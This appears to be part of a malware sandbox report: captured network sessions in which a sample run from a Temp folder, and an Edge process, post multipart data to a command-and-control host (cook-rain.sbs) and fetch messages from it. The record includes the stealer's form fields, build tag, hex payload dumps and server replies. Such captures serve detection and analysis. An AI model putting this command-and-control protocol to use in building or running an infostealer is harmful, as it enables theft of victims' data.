74	192.168.2.8	49869	188.114.96.3	443	5716	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:45 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZMC4CJV687DKRS77BE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 383569 Host: cook-rain.sbs
2024-11-18 12:30:45 UTC	15331	OUT	Data Raw: 2d 2d 5a 4d 43 34 43 4a 56 36 38 37 44 4b 52 53 37 37 42 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 5a 4d 43 34 43 4a 56 36 38 37 44 4b 52 53 37 37 42 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 4d 43 34 43 4a 56 36 38 37 44 4b 52 53 37 37 42 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --ZMC4CJV687DKRS77BEContent-Disposition: form-data; name="hwid"CEB29CC8F5F8102BF7005D7B20127A88--ZMC4CJV687DKRS77BEContent-Disposition: form-data; name="pid"1--ZMC4CJV687DKRS77BEContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-18 12:30:45 UTC	15331	OUT	Data Raw: 4b 71 a1 4d f2 f9 f3 94 db 8b 3b 9a 56 0c 68 31 c3 36 9d 55 c5 af 8b 13 c1 3e 2c b7 82 55 6d 8c 75 0f 3d b1 d1 b7 44 b9 b2 ef 27 40 09 af de 1a f2 ab 51 04 53 fc bf f8 05 8c 08 c1 ca 78 bf 82 03 3c fc e8 cd 1f f5 3e 0c e6 09 50 a1 dc 87 90 a6 f7 91 03 09 9e 1a 12 4f ab 10 58 16 1f 73 13 85 38 0c 4d e0 f4 7b c2 8d de 6d ed 39 c2 d2 a8 b1 a7 21 d1 51 46 a8 04 00 51 85 8d 3d 30 7e 14 93 e6 c7 9a fd e6 b6 56 a5 7e 25 d8 40 3c e0 4c 00 df 08 db 55 48 13 a6 7d 70 c5 03 ef 9f ed a0 56 3f 7d d6 1f ed c0 7f 6c e8 e1 22 06 0c 7e 9c 4d c7 58 24 be a1 fb aa 41 8f a1 de ce 01 37 8a f2 7d 01 02 18 15 b1 29 59 31 ac ac c0 98 3f 8f 83 e5 fa a4 1b 0d 72 e2 ec b1 ff a1 3f 28 60 59 a1 de 3f 33 82 b6 83 e9 6c 31 37 0c da 60 db e5 e0 7e 43 f0 ec 66 62 e1 09 3c 07 d0 3a d8 2d Data Ascii: KqM;Vh16U>,Umu=D'@QSx<>POXs8M{m9!QFQ=0~V~%@<LUH}pV?}l"~MX$A7})Y1?r?(`Y?3l17`~Cfb<:-
2024-11-18 12:30:45 UTC	15331	OUT	Data Raw: 40 3c 34 49 1e 1a 28 a3 ae 55 c2 37 a6 ef 76 2b 77 e8 1d fa 09 c6 e9 00 81 f9 e5 75 3e 62 59 74 91 60 65 d4 38 80 4a e8 ab f5 70 95 27 44 e6 b4 c9 80 2b 8f 25 a2 e7 98 68 3e 61 4f 46 8b 20 0e 9f 8a 5b 40 25 08 cf 3b 92 b4 50 c5 02 7c e9 5d 0f 2c b3 9f ca 80 94 35 13 05 0c ae 2f 60 9f 13 61 43 dd 52 87 fd 5f 24 da 10 9c ac 28 c2 36 71 00 c7 70 9b 9f 1b c9 e2 c0 d5 9f 87 d4 31 00 ee e0 c0 63 a2 07 c7 e2 ef c6 a9 1e c4 55 93 c2 64 de 97 f9 18 aa 0d 0a 72 7b f3 58 d8 f2 38 56 bb d6 74 4c ed 6a d5 f3 d7 58 64 79 eb 05 aa 6a ae 97 5c 48 61 cd 2f bb 2e 44 f7 71 40 17 78 dc cc 69 91 a7 fa a0 5a 11 0d 8e f3 63 81 4e a6 da a8 b3 14 29 8b fa 27 84 6d a3 0f 92 fd 24 82 8e 9b a5 f9 09 2e a8 90 0d be f7 d3 9a 6a 26 b1 4a 70 60 c3 03 5d 4d b8 d4 64 6a 0b 07 78 4c 2a 57 Data Ascii: @<4I(U7v+wu>bYt`e8Jp'D+%h>aOF [@%;P\|],5/`aCR_$(6qp1cUdr{X8VtLjXdyj\Ha/.Dq@xiZcN)'m$.j&Jp`]MdjxL*W
2024-11-18 12:30:45 UTC	15331	OUT	Data Raw: 58 be 1a 4e 0a 78 4a 66 08 af 7b 9e 9e ac 2e d7 2e fb ee fa 37 37 96 b8 3d 08 54 74 c6 65 85 2a 1e 7e 65 15 dd 58 90 17 24 1c f4 da d8 f7 a3 71 86 5e 0f 98 64 20 f8 29 c2 5c 80 19 91 bc 38 20 fe 3f dd 5d 78 8f 3c d6 60 38 54 11 c0 cc 43 6d ec 66 ad 86 8b a7 d8 27 f1 b3 1a 9b c6 60 95 e7 d6 e8 36 31 04 27 0b 92 d0 38 ba 78 d2 90 53 fb dd b3 b9 60 9d 82 c5 fe 9c 24 53 55 80 0f 63 b6 29 ea 80 5c 95 01 e6 a5 cc 53 ac ee 99 52 f9 99 f3 ad a5 75 a7 9b ae 06 e6 2a e7 d3 7b 7e f0 d3 de 74 e6 80 af 9b 24 84 cf ed f8 5d ea e9 61 38 7f bb fe e6 dc 35 29 fc fa 48 e9 21 46 d2 d6 9c e9 c2 56 0b 94 02 ca b8 be f9 7b 42 95 ba 50 df 3e 64 7c a5 bc db 9a 4e 7a 41 f1 1a 39 41 b6 1f da 6c ae 5a 42 99 48 4f 47 ba 71 ac dc 8d fd 3c 8c 07 94 2e 02 9c 90 c5 28 cd 6c 35 cd 98 96 Data Ascii: XNxJf{..77=Tte~eX$q^d )\8 ?]x<`8TCmf'`61'8xS`$SUc)\SRu{~t$]a85)H!FV{BP>d\|NzA9AlZBHOGq<.(l5
2024-11-18 12:30:45 UTC	15331	OUT	Data Raw: 9e ae f8 f2 30 d7 9e 15 c2 fa ca af ec 81 db 9c 0a 4b 01 e7 93 94 ca b0 3f 4b 11 11 1c df 77 17 38 99 0f 31 5a cc 87 6e a6 e4 81 18 8d 43 b6 7d 70 46 f5 66 ab 2b f8 15 2e 7d 76 5d a9 58 e8 8c 62 3b 26 42 eb 8c 96 f4 b8 6c dd e8 3f 78 7d cc 3b 1a 11 15 eb f9 db ce f2 70 73 ec 45 e9 63 ea 82 e6 cf 96 60 82 17 a0 96 97 97 01 98 43 e0 c2 82 ed 7e ff ba bc ec 4b 0a ff cf 1e 7b 87 ff 69 3a f9 5f 5b 91 f9 08 d5 21 09 64 14 48 f7 76 79 3b 3b 85 80 89 e8 fb 3b e5 35 5a 28 03 c3 47 36 c0 37 e4 d2 e0 41 31 91 ba c6 f5 af fd cf 3c 4b 4c ba 8a 3c 48 ab 9c 31 5f f9 1d eb 5d 8b ee 8b 6f 88 5e fe 9a da 32 81 67 93 eb be 18 bd 12 5f a6 85 4e eb 30 18 30 65 29 c7 c8 f2 51 d9 49 5f 60 8e 6d de 62 37 2d 6c e7 46 d3 ac f0 eb 05 fe 7b 70 c0 15 75 95 cd 94 1e 04 dd 0d b7 55 06 Data Ascii: 0K?Kw81ZnC}pFf+.}v]Xb;&Bl?x};psEc`C~K{i:_[!dHvy;;;5Z(G67A1<KL<H1_]o^2g_N00e)QI_`mb7-lF{puU
2024-11-18 12:30:45 UTC	15331	OUT	Data Raw: 9d cd cb b1 d5 25 a0 c1 b8 c8 d3 d9 aa 15 1d 16 97 36 ea ff 7c bb 4b 23 b1 d5 37 6c 3c e3 72 e2 b6 37 75 73 1a 3b 2f b9 72 7c 18 31 89 0b c9 f5 93 ed 05 e3 a1 a7 13 6d 4f e9 ea 9e ba 6c 3b 8a dd d7 42 d6 41 07 2d e9 1d 48 4a ee 43 a8 6a 85 ad e8 b5 b1 9a ba 1f 43 97 69 c0 03 9a 27 7b d4 89 da 91 e7 bf bd 3c 4f af b8 56 4b 39 ee b9 f8 bb 33 7e 54 53 0b 6c bd 4d 8e 78 6c 49 98 23 7a 87 e1 d5 bb 5c 23 bb 9c e2 74 74 da bf a9 d9 2d 61 ec 3d a2 39 c4 1d 83 95 d6 ad bc 81 3b 2f fd ca 6b fc 2f 59 2b f8 fa 97 ad b8 28 74 95 6c 18 c5 26 ca 88 23 1a ee 46 50 3c bf 34 9c d3 e8 50 23 52 19 de ce d4 10 f9 47 19 cc 06 5e 46 89 a0 22 91 9f d5 d8 7b 60 c8 41 12 90 43 2f d1 c3 0b 45 e5 eb 34 ea af 2d 70 e1 cb 80 eb ec 13 e3 b5 7f 0a 69 c2 98 90 d3 f6 4f 12 66 29 17 76 c8 Data Ascii: %6\|K#7l<r7us;/r\|1mOl;BA-HJCjCi'{<OVK93~TSlMxlI#z\#tt-a=9;/k/Y+(tl&#FP<4P#RG^F"{`AC/E4-piOf)v
2024-11-18 12:30:45 UTC	15331	OUT	Data Raw: 76 ba 04 18 ca 99 18 18 77 39 d9 b2 04 e6 03 0c 0c 82 16 59 9c 1b 8b d0 6e e7 be 5a 63 9a e4 aa f3 c5 ae 3a e2 3c 1e 01 43 ad 69 1a e7 d2 3d e8 3c 58 b0 d6 4d 74 68 0f 3e bf 40 b0 ea 5e bd 4e f8 82 8e af b4 f7 a0 86 15 5a fc 51 aa 7f 1a 26 43 23 69 07 45 9d 26 c4 58 30 f2 af 39 f1 ec 79 94 0c a0 98 6b 84 53 be 4a 3a 7a bd 25 49 fa 04 8f 98 64 14 fb 26 82 fa 61 2d 9a bd c6 e0 14 d3 04 13 25 89 10 fd d2 63 f5 51 b4 d3 88 48 94 46 92 eb 31 e9 90 b6 3a dd ec 15 d9 c5 bf 16 1c b3 e5 3f 16 ba 14 39 54 1f 8e 2e 24 31 12 d0 8c c6 73 35 19 5b 8d bb f6 ae 96 84 5e 28 3f e8 29 dc e0 65 97 b7 8c 76 b2 1c 58 f0 6e 7d 06 ac 12 32 c7 cb bd 12 99 d7 b5 60 e4 dc 50 22 9b a7 ea fd 0c d0 f9 9e e0 ee a2 8f 5a be 49 9c 34 a7 06 f0 41 72 3d 6d 47 61 da 67 a5 e9 2f e9 93 e8 1d Data Ascii: vw9YnZc:<Ci=<XMth>@^NZQ&C#iE&X09ykSJ:z%Id&a-%cQHF1:?9T.$1s5[^(?)evXn}2`P"ZI4Ar=mGag/
2024-11-18 12:30:45 UTC	15331	OUT	Data Raw: 90 24 af dd 36 0b a8 bd c2 cd 88 73 ca 3b d4 10 d1 04 64 77 4b d7 af 40 74 bc 3e 03 27 2f d6 e0 05 04 65 f8 9e 76 94 28 42 6e bf f8 16 89 5b da 4d 0a 9a 6a d6 13 6a 9a 5d e5 5b 91 53 54 f4 8b 75 61 77 de 82 7a 0e c9 79 5b 26 0a ce a3 af 3d 63 25 77 b5 d5 af 33 0a 6d 55 df d2 81 dd 7a 5f 23 7c 7d 8b 08 bc fd 50 6d f5 a6 f3 d9 e7 5b 62 3c a9 57 0d 4c 1d 61 a0 d7 00 ac cb 5f 04 dc f5 a7 c6 67 58 89 0f 97 e8 c4 df 4c 55 fd c0 ed b0 8b 35 93 0b 32 9a 03 d6 93 ea 8d 42 f7 dc 1b 25 54 df 1d 76 f4 fd 52 c5 7c 1e 26 b6 93 3b 9b 6f 66 b4 7b 4f ea e9 64 ca 5d 47 15 67 3f 32 24 39 1f 18 68 6d 18 39 fe dc 19 63 7d 63 55 9a 26 3c 1a a5 1e bf 80 52 80 33 69 45 48 6c 16 bf 1c e5 7b 65 14 35 3a 2d 09 eb 3b a5 a9 87 c2 1f 6b c0 ea ec a3 a3 e3 b8 e3 e7 19 f8 41 3a 9a c9 60 Data Ascii: $6s;dwK@t>'/ev(Bn[Mjj][STuawzy[&=c%w3mUz_#\|}Pm[b<WLa_gXLU52B%TvR\|&;of{Od]Gg?2$9hm9c}cU&<R3iEHl{e5:-;kA:`
2024-11-18 12:30:45 UTC	15331	OUT	Data Raw: 9e 2e 0a 2c d6 93 b3 ee c7 55 ee a7 f2 34 2f d7 56 55 32 0f 14 ed d5 c4 3e 74 dd 4d 2d cf 72 55 c4 1c 5a de 2b ed d3 e5 c1 be 0d 51 24 eb 14 0f ee cf 48 34 24 a5 1e 2d 8b 09 0e e0 d8 be 82 12 0c 06 a7 51 11 f9 e6 5f 11 a3 dd 75 4e cd ff 8e 58 f5 d8 a4 ff bd 34 1b c9 5b 66 6c ec 2a 23 69 8e 11 9d 02 19 b8 d5 14 9e cd 2e 8b e0 37 b2 ee 9f 57 33 ed 15 5e 6e e9 35 49 ab 64 c4 fd 80 7d 31 e5 f6 43 c5 57 01 ef 43 ae a3 16 d9 87 1f 79 af 09 05 1c 4b 0c 35 25 cd 12 c2 18 7f 40 60 aa 60 1b 19 50 13 2b 1b 19 a9 e9 0b 76 26 20 9b 08 48 12 62 d4 1b aa 10 e1 c1 d9 9d d1 7b f6 3e 12 23 38 62 8a 05 42 70 03 2e d1 c2 c9 2c 73 10 4e 00 4d 7d 8a 86 65 92 e1 f9 be 85 9c 0b 31 bd 78 47 13 a5 e8 47 9d d8 92 00 19 7f 95 49 f5 f2 85 ad 7e e9 c4 fb 58 41 d9 9f e7 82 4c 9c 35 18 Data Ascii: .,U4/VU2>tM-rUZ+Q$H4$-Q_uNX4[fl*#i.7W3^n5Id}1CWCyK5%@``P+v& Hb{>#8bBp.,sNM}e1xGGI~XAL5
2024-11-18 12:30:45 UTC	15331	OUT	Data Raw: 68 bd 2b e7 7d d7 39 46 29 ac cc b6 59 fc 6c b5 ee c5 d2 94 86 eb 8c bc 13 83 8f 69 0b bf a9 1f 3f 36 c6 57 33 3d 79 ee 16 32 d2 f2 77 7b cf dd 5c 11 31 ca 45 a2 f8 7f 94 ab 71 22 54 9d 29 a6 bb bd 31 95 cb df bd 21 2d 20 62 3c 4b d8 b3 e5 16 47 64 40 c2 27 a1 1e db 39 f8 e6 70 0b 84 a8 34 5d 0f cd 05 11 2a f2 78 48 7a f6 f9 04 db 03 cf b7 85 08 95 3c a9 26 66 57 b6 6c 87 d3 81 f3 02 4b 93 f4 2e 6c ae 0b 7f 3b c3 55 3c f0 3a de e6 1a 5e f7 40 dd af 53 98 eb 08 0d 74 b0 9b d8 93 f4 68 40 4a 25 08 1e fa 47 36 d8 20 90 a0 78 96 b6 df 58 67 f4 2c a4 0b 7b ce bf c3 d6 b2 18 5b 34 ad dd 76 74 c6 f9 48 8a 2e 9a 89 bc 6c fd 2d 03 ad d5 9e 3e 81 b0 02 70 c4 02 cc d5 be 33 c9 8d 74 d3 c2 7b 03 91 2d df 4f ae 13 3a 6f b1 09 8f ad fa 34 77 d1 71 e0 1b 18 ea 73 43 69 Data Ascii: h+}9F)Yli?6W3=y2w{\1Eq"T)1!- b<KGd@'9p4]*xHz<&fWlK.l;U<:^@Sth@J%G6 xXg,{[4vtH.l->p3t{-O:o4wqsCi
2024-11-18 12:30:50 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jsq7a3udq9av03n41dq9fln1cd; expires=Fri, 14-Mar-2025 06:17:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vRO5I%2FB2yLM7wKeVNt%2BvFVXEqhsFd%2FVJ1ak97Rv0mfdavMHMg4gMmx1LOSjYFz1FDPHaBjdN1ObAGfDgYqwap4uLIF9ZIWyfEFe1gRmpAKe4TQLqA7ih31Jh2sgyDpGW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f93be955eabd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1265&sent=169&recv=425&lost=0&retrans=0&sent_bytes=2828&recv_bytes=385585&delivery_rate=2209000&cwnd=249&unsent_bytes=0&cid=31e98cb20e487024&ts=5916&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	49873	188.114.96.3	443	6596	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:49 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QUP056UL8B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12804 Host: cook-rain.sbs
2024-11-18 12:30:49 UTC	12804	OUT	Data Raw: 2d 2d 51 55 50 30 35 36 55 4c 38 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 51 55 50 30 35 36 55 4c 38 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 55 50 30 35 36 55 4c 38 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 51 55 50 30 35 36 55 4c 38 42 0d 0a 43 6f Data Ascii: --QUP056UL8BContent-Disposition: form-data; name="hwid"CEB29CC8F5F8102BF7005D7B20127A88--QUP056UL8BContent-Disposition: form-data; name="pid"2--QUP056UL8BContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--QUP056UL8BCo
2024-11-18 12:30:54 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qn1em2skr7m6i6sl16j9fisiti; expires=Fri, 14-Mar-2025 06:17:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EaHKYX9x%2BMkjtl40lNw8EotuKq%2FOzYPsZ5U%2BdSDVDAXGb7cBfYhCeKJgSMOHqWrQNNZ37bPZYtOgSvjyncXXd4Z239WgKGtJUjcLA%2FOt6tEfCx%2BHrgNbld9YGGTt2afN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f95aaa073474-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1071&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13733&delivery_rate=2635122&cwnd=251&unsent_bytes=0&cid=433401adfcb8215e&ts=4162&x=0"
2024-11-18 12:30:54 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 12:30:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	49876	188.114.96.3	443	5716	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:52 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-18 12:30:52 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=CEB29CC8F5F8102BF7005D7B20127A88
2024-11-18 12:30:54 UTC	1008	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=trb6adkh8fptjfl3h0bh0pab5e; expires=Fri, 14-Mar-2025 06:17:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Sfp5LaLdWjpA68H4l7u5jZ5bAr774vlb%2FlKCHiL%2Fae31G%2B0vrOORwCW1QUnpBWhzwoaxfn7TLy7qooGLwQC2HVb7mT3oCsSkzVW3a7Dz%2FZDJDr6KPC%2F5Onyul7uWTVZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f9681def6c08-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1068&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=985&delivery_rate=2632727&cwnd=251&unsent_bytes=0&cid=9e86fb98b314e379&ts=1998&x=0"
2024-11-18 12:30:54 UTC	214	IN	Data Raw: 64 30 0d 0a 66 55 37 61 46 4c 67 6d 32 38 4c 41 31 6d 6a 4d 70 78 47 34 56 70 4c 30 59 4d 57 6e 7a 6a 35 49 41 57 69 44 78 62 4b 4d 6d 70 59 6d 4e 66 68 68 6d 68 7a 35 71 72 53 69 47 50 62 37 50 75 52 35 6f 38 78 56 36 35 58 2f 43 32 59 77 57 62 44 72 67 37 72 47 75 52 49 6f 76 45 69 58 51 72 36 6b 37 72 4d 51 71 59 55 39 6d 6a 44 6d 31 6c 72 31 69 2b 78 62 61 6a 74 5a 2f 75 6e 4a 72 75 2b 30 52 32 79 79 59 4d 78 57 34 5a 37 76 69 6b 66 39 6e 79 53 57 5a 4b 50 42 54 76 53 57 2f 52 42 35 4e 7a 53 73 74 73 62 70 2b 2f 73 68 59 61 68 31 31 6b 4b 30 72 2b 36 7a 45 4b 6d 46 50 5a 6f 77 35 74 5a 61 39 59 76 73 57 32 6f 37 57 66 36 59 0d 0a Data Ascii: d0fU7aFLgm28LA1mjMpxG4VpL0YMWnzj5IAWiDxbKMmpYmNfhhmhz5qrSiGPb7PuR5o8xV65X/C2YwWbDrg7rGuRIovEiXQr6k7rMQqYU9mjDm1lr1i+xbajtZ/unJru+0R2yyYMxW4Z7vikf9nySWZKPBTvSW/RB5NzSstsbp+/shYah11kK0r+6zEKmFPZow5tZa9YvsW2o7Wf6Y
2024-11-18 12:30:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	49881	188.114.96.3	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:55 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TOYV8WLYO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19152 Host: cook-rain.sbs
2024-11-18 12:30:55 UTC	15331	OUT	Data Raw: 2d 2d 54 4f 59 56 38 57 4c 59 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 54 4f 59 56 38 57 4c 59 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 4f 59 56 38 57 4c 59 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 54 4f 59 56 38 57 4c 59 4f 0d 0a 43 6f 6e 74 65 6e Data Ascii: --TOYV8WLYOContent-Disposition: form-data; name="hwid"CEB29CC8F5F8102BF7005D7B20127A88--TOYV8WLYOContent-Disposition: form-data; name="pid"2--TOYV8WLYOContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--TOYV8WLYOConten
2024-11-18 12:30:55 UTC	3821	OUT	Data Raw: 71 09 02 71 62 4c 8c 6f a6 1a 41 a5 59 f0 62 41 82 28 39 c1 54 8c aa 35 d2 74 ad 4c 09 4b 11 ec d9 d3 c2 0d 2a ac 6e 40 51 ae 2c 5b 37 b0 0c 56 c9 b5 8b 35 28 9c 26 ed ad 0d 8f 89 0b 37 d5 6a 64 68 e6 c0 06 1f 69 14 5a 18 b1 4c 56 81 48 11 58 ae d3 c2 16 ab 32 51 54 a3 56 65 2f 1e 5c 99 2d c3 9c 94 c9 e5 30 32 44 c7 99 32 44 6a b4 6c b1 6b 0d ac 45 14 08 0a ab d0 c1 d5 1a ad 42 ad 55 a0 16 cc 22 d8 18 e1 c3 67 a1 46 ad d3 ca b1 b1 95 67 c2 ca a1 ab 35 6a 2d 6a 79 10 f0 89 d1 c8 b4 e8 50 be ea 34 69 32 6c da 2c fa 2a c0 3a 80 d3 32 e0 6c 38 43 26 5f dc 1b 25 7d 77 45 8a a6 85 25 c6 24 08 c6 fb 0a 52 b5 ea 45 08 ac 95 6a b4 ea 5c 58 25 53 c9 2d dc 25 d4 5b 31 ac 79 13 f9 54 7d 94 42 95 06 7f 64 8c 39 a9 4e a5 c8 d1 c1 52 f3 32 2b 63 70 26 8a a3 67 27 8a b0 Data Ascii: qqbLoAYbA(9T5tLKn@Q,[7V5(&7jdhiZLVHX2QTVe/\-02D2DjlkEBU"gFg5j-jyP4i2l,:2l8C&_%}wE%$REj\X%S-%[1yT}Bd9NR2+cp&g'
2024-11-18 12:30:58 UTC	1008	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=97j052uckhiuv4gdoj6uoqrrt1; expires=Fri, 14-Mar-2025 06:17:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6s2Ri7BWGJk03TIK%2FPcgFn62yA53Y05klitt61yrofX0ztlvwkr8EVSAENfo6%2FvwKp%2F2TlC209QtttcLtVOmtthruE0UrGm9QqWRz36OazMNDzUObQ3dwFXMAS7uC19r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f97ded2f2d3f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1617&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2829&recv_bytes=20102&delivery_rate=1670126&cwnd=248&unsent_bytes=0&cid=b50725ff4f87f156&ts=2528&x=0"
2024-11-18 12:30:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
